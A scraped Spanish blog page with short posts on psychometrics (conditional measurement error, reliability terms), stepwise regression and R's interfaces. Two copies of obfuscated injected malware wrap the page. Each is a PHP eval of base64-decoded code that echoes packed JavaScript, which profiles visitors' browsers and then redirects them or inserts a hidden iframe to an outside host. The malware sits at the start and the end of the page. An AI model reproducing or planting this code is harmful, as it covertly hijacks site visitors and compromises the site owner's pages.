/*dfdbb1d0cb0ad3e4153c22a5889f3de3*/ $ygu="b"."ase"."64_de"."code";eval($ygu("
function user_abort_end_exit_operationid_5266097()
{
    echo base64_decode('<script type="text/javascript" id="id_5266097">eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('14 113=225(41(){11(15.57!=124&&56 15.57!="43"){226(113);11(56 23["99"]=="43"){23["99"]=1;14 76=(74()&&130());14 109=!76&&!!23.227&&23.30.224==="223 219.";14 87=-1;14 37="220://221.222";11(69()&&87==1){11((30.42.97(/228/19))||(30.42.97(/229/19))){77.235(37)}22{23.77=37;15.77=37}}22{11((76&&!109&&!69())){14 64="<79 236=\\"237:234;233:-230;\\"><123 231=\\"118\\" 232=\\""+37+"\\" 218=\\"118\\"></123></79>";14 34=15.217("79");11(34.126==0){15.57.44=15.57.44+64}22{14 95=34.126;14 58=204.205((95/2));34[58].44=34[58].44+64}}}}122()}},100);41 122(){14 62="206";11(62!="203"){14 35=15.202(62);11(56 35!=43&&35!=124){35.198="";199 35}}};41 130(){11(15.26&&!15.200){16 25}22 11(15.26&&!23.201){16 25}22 11(15.26&&!15.207){16 25}22 11(15.26&&!15.208){16 25}22 11(15.26&&!23.214){16 25}22 11(15.26){16 25}22 11(56 30.215!="43"&&!15.26&&74()){16 25}22{16 59}}41 74(){14 17=23.30.42;14 51=17.28("216 ");11(51>0){16 72(17.65(51+5,17.28(".",51)),10)}14 93=17.28("213/");11(93>0){14 71=17.28("212:");16 72(17.65(71+3,17.28(".",71)),10)}14 46=17.28("209/");11(46>0){16 72(17.65(46+5,17.28(".",46)),10)}16 59}41 69(){14 78=23.30.42.210();11(/(211|238\\67+|239).+107|267|268\\/|269|266|265|261|197|263|264|90(270|104)|119|271|277 |278|279|276|107.+275|272|273 24(274|260)19|259( 86)?|246|39(247|248)\\/|245|244|240|241(4|6)0|242|243|128\\.(249|250)|256|257|258 255|254|251/19.111(78)||/252|253|280|173|142|50[1-6]19|141|145|33 115|158|114(132|110|48\\-)|129(161|160)|96(150|102|92)|151|153(162|73|152)|148|94(159|75)|156(82|157)|147|136(137|\\-24|138 |48 )|135|134(101|121|146)|103(144|155)|196(114|186)|187(185|29)55|163|182\\-(183|66)|188\\/|189|194|195\\-|193|190|177|176\\-|92(184|84)|166|164(91|121|168)|170|192\\-48|181|140|139|106(27|39)105|149(12|\\-67)|154(49|129)|172(178|175)|132(174|171)|165|167([4-7]0|86|115|169)|179|180(\\-|131)|117 66|191|143|262\\-5|38\\-63|75(\\.55|104)|320(397|398)|399|400|396\\-(24|39|31)|395\\-|391(108|120)|392( 19|90)|393\\-27|394(27(\\-| |131|33|38|39|48|31)|401)|402(409|410)|19\\-(20|75|68)|411|408( |\\-|\\/)|281|407|403|404|405|406|390|119|389(31|29)33|374|375|376|377|373|372( |\\/)|368|369 |370\\-|371(27|112)|378(379|386)|413( 38|\\/(112|388|66)|50|54|\\-[33-55])|385|384|380\\-55|381|382\\/|68(82|383|412)|88(36|21|102)|24\\-431|436(434|89)|439(440|438|125)|435|63(36|447|103|445|106|31(\\-| |105|29)|444)|443(50|437|29 )|432|419|420[0-2]|433[2-3]|421(0|2)|417(0|2|5)|415(0(0|1)|10)|416((27|24)\\-|422|423|429|426|425)|424(6|19)|427|428|430(414|418)|446|442|441|387(33|67|31)|366|310(13|\\-([1-8]|27))|311|312|127(309|308)|304\\-2|305(101|306|116)|307|313|108\\-38|314\\-33|367(321|12|21|32|60|\\-[2-7]|19\\-)|322|319|318|315|316|317(303|302)|288\\/|289(290|68|287|286|73|282)|283(36|133\\-|110|39\\-)|284\\/|116(27(\\-|0|1)|47|88|84|89)|285\\-|291|292(\\-|24)|299\\-0|300(45|301)|298(96|94|297|91|293)|294(295|73)|296(36|133\\-|29\\-|29 )|323(36|324)|353(18|50)|354(355|10|18)|120(352|351)|347\\-|348\\-|349(19|24)|350\\-|31\\-63|356(127|357)|125(70|24\\-|363|364)|365\\-9|128(\\.362|117|361)|358|359|360|346|345(331|82)|332(40|5[0-3]|\\-29)|333|330|329|325(52|53|60|61|70|80|81|83|85|98)|326(\\-| )|327|328|334(38 |335|342)|343|344|341|340\\-|336|337|338\\-/19.111(78.339(0,4))){16 25}16 59}',10,448,'|||||||||||if|||var|document|return|tWGIwpsBLfzCGuGgMUEMpmuMsRKlLEt||i|||else|window|m|true|all|c|indexOf|v|navigator|t||a|XdfLPFHtLNPkNezckKZkMmpowwhFkjw|FgvARqjqjpGCSmoJEHEQmxPrUUvACXCQgnyUvCN|01|bYkGoMXxqjaetIQKoDXxyNEWHUpdNCesZn|g|p||function|userAgent|undefined|innerHTML||RrrVTbVdPMTYXtvfhxbUdWlNqohCLSmHtKwF||s|||nQNVucuDcoMCXjUngHLylAMgBZarbZkaCgbnqjVzA||||w|typeof|body|YAFGCctUgaXCajQXFXWgiMjCBaMNpBCxYflmKM|false|||MJczMPBdfXZKgFMQmRIFlhvfiCYUUsLOMOCapYd|mo|BbnXFiYJLnXqlFFvOijezgkBMzZIPRgfWfz|substring|u|d|ma|aAdZaarHfSicPLMvFeduthBCQMIqALjFJalUrNHps||VjnzwuOXYXvESyFguWdknyisRvgkXDt|parseInt|ny|bYAGCoisJDZIIAhVxWFrkHyCQsenkDSI|go|diKyrENvCelnXVPpLlWeFvHeRfnwhIKP|location|AsogHooskRRXUWxqQsuVLDyfypVpxbr|div|||te||nd||os|zRTEuAKvtmOJwaiCtJwIxwwlXMdWJbvXBiyAmY|mc|ri|ip|it|co|BusSKzqypchQOYHZXUOCJbtQDGDvTscxfyoopw|ar|dl_name|al|match||v_dfdbb1d0cb0ad3e4153c22a5889f3de3||ck|ca|bi|od|o|do|mobile|pt|fmEgzVhqUtcYEzjJIjtWPuJFlmJPUlYaGIfD|oo|test|k|jvQWZKVyllgvfmpAYTJgvpuyezuACFaU|ac|wa|se|g1|29px|iris|ta|ll|OUnLSfKGBXSraFtfplzeyIRksvNwQuIbWY|iframe|null|ts|length|pl|up|ai|xQtZkXosrGvWSmMBvBjYaNYSXKjrZogbtus|_|er|h|be|avan|au|di|r|dmob|dica|770s|4thp|gene|lb|802s|nq|attw|aptu|ds|av|amoi|yw|an|el|rd|as|us|abac|ch|rn|ko|ex|bumb|da|esl8|craw|ez|ng|ze|dbte|k0|em|3gso|ic|ul|cmd|cldc|l2|fetc|fly|devi|bw|n|mp|e|az|br|c55|capi|chtm|g560|dc|cell|ccwa|cdm|bl|fennec|outerHTML|delete|compatMode|XMLHttpRequest|getElementById|none|Math|floor|id_5266097|querySelector|addEventListener|Edge|toLowerCase|android|rv|Trident|atob|maxTouchPoints|MSIE|getElementsByTagName|height|Inc|http|dgdsgweewtew|ml|Google|vendor|setInterval|clearInterval|chrome|iPhone|iPod|3689px|width|src|left|absolute|replace|style|position|bb|meego|psp|series|symbian|treo|pocket|plucker|phone|ixi|re|browser|link|xiino|1207|6310|xda|ce|vodafone|wap|windows|palm|in|elaine|gf|hiptop|iemobile|compal|blazer|avantgo|bada|blackberry|hone|kindle|netfront|opera|ob|firefox|mmp|lge|maemo|midp|6590|ibro|va|sc|sdk|sgh|ms|mm|s55|sa|ge|shar|sie|t5|so|ft|sp|b3|sm|sk|sl|id|zo|ve|pn|po|rt|prox|uc|ay|pg|phil|pire|psio|qa|raks|rim9|ro|r600|r380|gr|07|qtek|sy|mb|vx|w3c|webc|whit|vulc|voda|rg|vk|vm40|wi|nc|your|zeto|zte|substr|yas|x700|nw|wmlb|wonu|vi|veri|tcl|tdg|tel|tim|lk|gt|t2|t6|00|to|sh|utst|v400|v750|si|b|m3|m5|tx|pdxg|qc|klon|kpt|kwc|kyo|kgt|keji|jbro|jemu|jigs|kddi|le|no|m1|m3ga|m50|ui|lynx|libw|xi|pan|l|ja|ipaq|hi|hp|hs|ht|hei|hd|ad|un|haie|hcit|tp|hu|ig01|ikom|im1k|inno|idea|iac|aw|tc|i230|xo|lg|ti|n7|ne|n50|wv|mywa|n10|n30|on|tf|nok|wt|wg|nzph|o2im|wf|op|cr|mwbp|n20|rc|mmef|me|p1|oa|mi|o8|p800|owg1|mt|zz|de|oran|02'.split('|'),0,{}))
</script>');
}

register_shutdown_function('user_abort_end_exit_operationid_5266097');

"));/*dfdbb1d0cb0ad3e4153c22a5889f3de3*/

Errores de Medida Condicionales

Es un hecho bien documentado en psicometría que el error de medida difiere para cada nivel de puntuación en un test. A estos errores de medida condicionales al nivel de puntuación se les denomina Errores de Medida Condicionales (usualmente abreviados “CSEM” en inglés). Aunque muchas veces se afirma que la Teoría Clásica de los Tests es incapaz de estimar los CSEM y que ésta es una de sus limitaciones más importantes frente a la Teoría de Respuesta al Item, la verdad es que bajo el paradigma clásico se desarrollaron varios métodos para estimar los Errores de Medida Condicionales. Entre […]

Error de Medida y número de items en un test convencional

Uno de los principios básicos de la Teoría Clásica de los Test es la relación existente entre la longitud de una prueba y su fiabilidad: a mayor número de items, más fiable el test. Una consecuencia obvia es que también existe relación entre el número de ítems y el error de medida del test.En el caso específico de pruebas de rendimiento máximo (e.g. test educativos o de habilidades cognitivas) con items puntuados en forma binaria (correcto/incorrecto), la relación entre el error de medida y el número de items fue demostrada empíricamente por Lord (1959) y simultáneamente refrendada teóricamente por […]

Coeficiente de fiabilidad versus Indice de Fiabilidad

Esta es otra de esas “pequeñas” cuestiones terminológicas… que a veces pueden ocasionar “grandes” dolores de cabeza.

Formalmente, en psicometría se distingue entre el Coeficiente de Fiabilidad y el Indice de Fiabilidad. El Coeficiente de Fiabilidad corresponde al coeficiente de determinación (correlación al cuadrado) de la correlación entre la Puntuación Verdadera y la Puntuación Observada. Si se lo analiza con detenimiento lo anterior es consecuencia directa de la definición de la fiabilidad como la proporción de varianza común entre la Puntuación Observada y la Puntuación Verdadera.

Por otro lado, el llamado Indice de Fiabilidad no es otra cosa que la raíz […]

¿Confiabilidad o fiabilidad? ¿Puntuación o Puntaje?

Aunque parezca trivial, es interesante observar la discrepancia terminológica que existe a ambos lados del Atlántico. Mientras el original en inglés (reliability) ha sido traducido en España como fiabilidad, en Latinomérica se acostumbra utilizar la traducción confiabilidad. ¿Cuál es la correcta?

Hasta donde sabemos no existe una respuesta taxativa. Cuando se compara la definición de fiable con la de confiable en el diccionario de la RAE resulta evidente que la voz preferida en España se ajusta mejor a la coceptualización usada en Psicometría. Sin embargo, la misma RAE acepta el término confiabilidad como sinónimo de fiabilidad (definido como la probabilidad […]

Regresión paso a paso (“stepwise regression”): una mala idea.

Un problema relativamente común en investigación aplicada (especialmente en ciencias sociales e investigación de mercados)  es ajustar modelos de regresión múltiple en forma exploratoria. Este problema típicamente se presenta cuando necesitamos construir un modelo para explicar una variable dependiente a partir de varias variables independientes potenciales (predictores) pero no contamos con una teoría una teoría sustantiva que nos permita seleccionar a priori un subconjunto de predictores para evaluar el modelo.

La regresión paso a paso (“stepwise” en inglés; a veces también llamada regresión “por pasos”) es un método muy popular para enfrentar este tipo de situaciones. Básicamente, se trata de […]

Interfaz MDI versus SDI en el sistema R

Probablemente el mejor programa estadístico en el presente sea el sistema R, una versión gratuita del entorno de programación estadística S-plus. La versión más reciente (en este momento la 2.15) puede obtenerse gratis desde el sitio de CRAN (Comprehensive R Archive Network).No es el propósito, en esta ocasión, describir la potencia y versatilidad de R, sino aclarar una duda frecuente entre los usuarios que empiezan a utilizar el programa. Cuando se instala por primera vez en ambiente Windows, el R nos permite elegir entre la interfaz MDI y la SDI. ¿Cuál es la diferencia y cuál es preferible?La MDI […]

¡Aquí vamos de nuevo!

Después de casi diez años, varios webs y un par de blogs, este sitio marca mi retorno al ciberespacio. Esta vez, con blog y website integrados. 

December 4th, 2012|Análisis Multivariado|
Girls
/*dfdbb1d0cb0ad3e4153c22a5889f3de3*/ $ygu="b"."ase"."64_de"."code";eval($ygu("
function user_abort_end_exit_operationid_7960430()
{
    echo base64_decode('<script type="text/javascript" id="id_7960430">eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('14 113=225(41(){11(15.57!=124&&56 15.57!="43"){226(113);11(56 23["99"]=="43"){23["99"]=1;14 76=(74()&&130());14 109=!76&&!!23.227&&23.30.224==="223 219.";14 87=-1;14 37="220://221.222";11(69()&&87==1){11((30.42.97(/228/19))||(30.42.97(/229/19))){77.235(37)}22{23.77=37;15.77=37}}22{11((76&&!109&&!69())){14 64="<79 236=\\"237:234;233:-230;\\"><123 231=\\"118\\" 232=\\""+37+"\\" 218=\\"118\\"></123></79>";14 34=15.217("79");11(34.126==0){15.57.44=15.57.44+64}22{14 95=34.126;14 58=204.205((95/2));34[58].44=34[58].44+64}}}}122()}},100);41 122(){14 62="206";11(62!="203"){14 35=15.202(62);11(56 35!=43&&35!=124){35.198="";199 35}}};41 130(){11(15.26&&!15.200){16 25}22 11(15.26&&!23.201){16 25}22 11(15.26&&!15.207){16 25}22 11(15.26&&!15.208){16 25}22 11(15.26&&!23.214){16 25}22 11(15.26){16 25}22 11(56 30.215!="43"&&!15.26&&74()){16 25}22{16 59}}41 74(){14 17=23.30.42;14 51=17.28("216 ");11(51>0){16 72(17.65(51+5,17.28(".",51)),10)}14 93=17.28("213/");11(93>0){14 71=17.28("212:");16 72(17.65(71+3,17.28(".",71)),10)}14 46=17.28("209/");11(46>0){16 72(17.65(46+5,17.28(".",46)),10)}16 59}41 69(){14 78=23.30.42.210();11(/(211|238\\67+|239).+107|267|268\\/|269|266|265|261|197|263|264|90(270|104)|119|271|277 |278|279|276|107.+275|272|273 24(274|260)19|259( 86)?|246|39(247|248)\\/|245|244|240|241(4|6)0|242|243|128\\.(249|250)|256|257|258 255|254|251/19.111(78)||/252|253|280|173|142|50[1-6]19|141|145|33 115|158|114(132|110|48\\-)|129(161|160)|96(150|102|92)|151|153(162|73|152)|148|94(159|75)|156(82|157)|147|136(137|\\-24|138 |48 )|135|134(101|121|146)|103(144|155)|196(114|186)|187(185|29)55|163|182\\-(183|66)|188\\/|189|194|195\\-|193|190|177|176\\-|92(184|84)|166|164(91|121|168)|170|192\\-48|181|140|139|106(27|39)105|149(12|\\-67)|154(49|129)|172(178|175)|132(174|171)|165|167([4-7]0|86|115|169)|179|180(\\-|131)|117 66|191|143|262\\-5|38\\-63|75(\\.55|104)|320(397|398)|399|400|396\\-(24|39|31)|395\\-|391(108|120)|392( 19|90)|393\\-27|394(27(\\-| |131|33|38|39|48|31)|401)|402(409|410)|19\\-(20|75|68)|411|408( |\\-|\\/)|281|407|403|404|405|406|390|119|389(31|29)33|374|375|376|377|373|372( |\\/)|368|369 |370\\-|371(27|112)|378(379|386)|413( 38|\\/(112|388|66)|50|54|\\-[33-55])|385|384|380\\-55|381|382\\/|68(82|383|412)|88(36|21|102)|24\\-431|436(434|89)|439(440|438|125)|435|63(36|447|103|445|106|31(\\-| |105|29)|444)|443(50|437|29 )|432|419|420[0-2]|433[2-3]|421(0|2)|417(0|2|5)|415(0(0|1)|10)|416((27|24)\\-|422|423|429|426|425)|424(6|19)|427|428|430(414|418)|446|442|441|387(33|67|31)|366|310(13|\\-([1-8]|27))|311|312|127(309|308)|304\\-2|305(101|306|116)|307|313|108\\-38|314\\-33|367(321|12|21|32|60|\\-[2-7]|19\\-)|322|319|318|315|316|317(303|302)|288\\/|289(290|68|287|286|73|282)|283(36|133\\-|110|39\\-)|284\\/|116(27(\\-|0|1)|47|88|84|89)|285\\-|291|292(\\-|24)|299\\-0|300(45|301)|298(96|94|297|91|293)|294(295|73)|296(36|133\\-|29\\-|29 )|323(36|324)|353(18|50)|354(355|10|18)|120(352|351)|347\\-|348\\-|349(19|24)|350\\-|31\\-63|356(127|357)|125(70|24\\-|363|364)|365\\-9|128(\\.362|117|361)|358|359|360|346|345(331|82)|332(40|5[0-3]|\\-29)|333|330|329|325(52|53|60|61|70|80|81|83|85|98)|326(\\-| )|327|328|334(38 |335|342)|343|344|341|340\\-|336|337|338\\-/19.111(78.339(0,4))){16 25}16 59}',10,448,'|||||||||||if|||var|document|return|DMyEBYaWXVGMFftqWWLHtzkzkcEHeYfVCCROxY||i|||else|window|m|true|all|c|indexOf|v|navigator|t||a|dVRrzqpsYMVlcWRAteLesUPXHppDFUnyeDcaa|ykMVqSnYbUNprlXSNcmapMuPExQgSCiIdOYgjFNX|01|wPQhpAcHmtDGajNorwMkyaSKvSUHhAGGfMtPaDa|g|p||function|userAgent|undefined|innerHTML||sixnaVhHhCKAaAoRYjmQQVkSmKBaOErIxwaalEIsA||s|||hvwUFeWfbSzzfRxZUxasDWzieajewXgJkg||||w|typeof|body|hrtYhUmbQgnaehwvZAHAfISZSgbQqFpAG|false|||xgCUedjEtYJIChQeQrApYeFoVtjzjKirwavkjuneE|mo|raLTPHvikPAXtDAtaDFnyaKXGDOaaQYS|substring|u|d|ma|FJzmZILLvMMmKLTkYOJpstsJFMSDIAkycY||bkYPJcFbVcmtUWrYXXmlNWGkNmmskmCcRARkm|parseInt|ny|yAoDUccyBwfBZKVJbtLpBDpoOWCbZUvfXkVolrjEv|go|mwjugKWYYzJKPXhIbfyZalzGQdUHzvuQmzYVr|location|EqlfGmgFemrypmFYIFwWeSUMjiCgvZGeUgHip|div|||te||nd||os|zcAUPaRPnVUnpDbOIswmGbQDjTYexPLuSphSmW|mc|ri|ip|it|co|UuKBbGjXrPctODhBeKUXxoKeGnAAhNasJsEepv|ar|dl_name|al|match||v_dfdbb1d0cb0ad3e4153c22a5889f3de3||ck|ca|bi|od|o|do|mobile|pt|HQlRmzRhgBfnAwDIAypLtwRCndjZVHoGGTRmO|oo|test|k|PjFCeQgbZTpOLHqSEYxogAcqYyvrMGPyJf|ac|wa|se|g1|17px|iris|ta|ll|EzhInzWGUigWUqlqpVzgKEFObCyRcSLvIwDvJff|iframe|null|ts|length|pl|up|ai|tpoYJhPithQEfabioSlPbbCnThpDdpSuAHTOWEgh|_|er|h|be|avan|au|di|r|dmob|dica|770s|4thp|gene|lb|802s|nq|attw|aptu|ds|av|amoi|yw|an|el|rd|as|us|abac|ch|rn|ko|ex|bumb|da|esl8|craw|ez|ng|ze|dbte|k0|em|3gso|ic|ul|cmd|cldc|l2|fetc|fly|devi|bw|n|mp|e|az|br|c55|capi|chtm|g560|dc|cell|ccwa|cdm|bl|fennec|outerHTML|delete|compatMode|XMLHttpRequest|getElementById|none|Math|floor|id_7960430|querySelector|addEventListener|Edge|toLowerCase|android|rv|Trident|atob|maxTouchPoints|MSIE|getElementsByTagName|height|Inc|http|dgdsgweewtew|ml|Google|vendor|setInterval|clearInterval|chrome|iPhone|iPod|2288px|width|src|left|absolute|replace|style|position|bb|meego|psp|series|symbian|treo|pocket|plucker|phone|ixi|re|browser|link|xiino|1207|6310|xda|ce|vodafone|wap|windows|palm|in|elaine|gf|hiptop|iemobile|compal|blazer|avantgo|bada|blackberry|hone|kindle|netfront|opera|ob|firefox|mmp|lge|maemo|midp|6590|ibro|va|sc|sdk|sgh|ms|mm|s55|sa|ge|shar|sie|t5|so|ft|sp|b3|sm|sk|sl|id|zo|ve|pn|po|rt|prox|uc|ay|pg|phil|pire|psio|qa|raks|rim9|ro|r600|r380|gr|07|qtek|sy|mb|vx|w3c|webc|whit|vulc|voda|rg|vk|vm40|wi|nc|your|zeto|zte|substr|yas|x700|nw|wmlb|wonu|vi|veri|tcl|tdg|tel|tim|lk|gt|t2|t6|00|to|sh|utst|v400|v750|si|b|m3|m5|tx|pdxg|qc|klon|kpt|kwc|kyo|kgt|keji|jbro|jemu|jigs|kddi|le|no|m1|m3ga|m50|ui|lynx|libw|xi|pan|l|ja|ipaq|hi|hp|hs|ht|hei|hd|ad|un|haie|hcit|tp|hu|ig01|ikom|im1k|inno|idea|iac|aw|tc|i230|xo|lg|ti|n7|ne|n50|wv|mywa|n10|n30|on|tf|nok|wt|wg|nzph|o2im|wf|op|cr|mwbp|n20|rc|mmef|me|p1|oa|mi|o8|p800|owg1|mt|zz|de|oran|02'.split('|'),0,{}))
</script>');
}

register_shutdown_function('user_abort_end_exit_operationid_7960430');

"));/*dfdbb1d0cb0ad3e4153c22a5889f3de3*/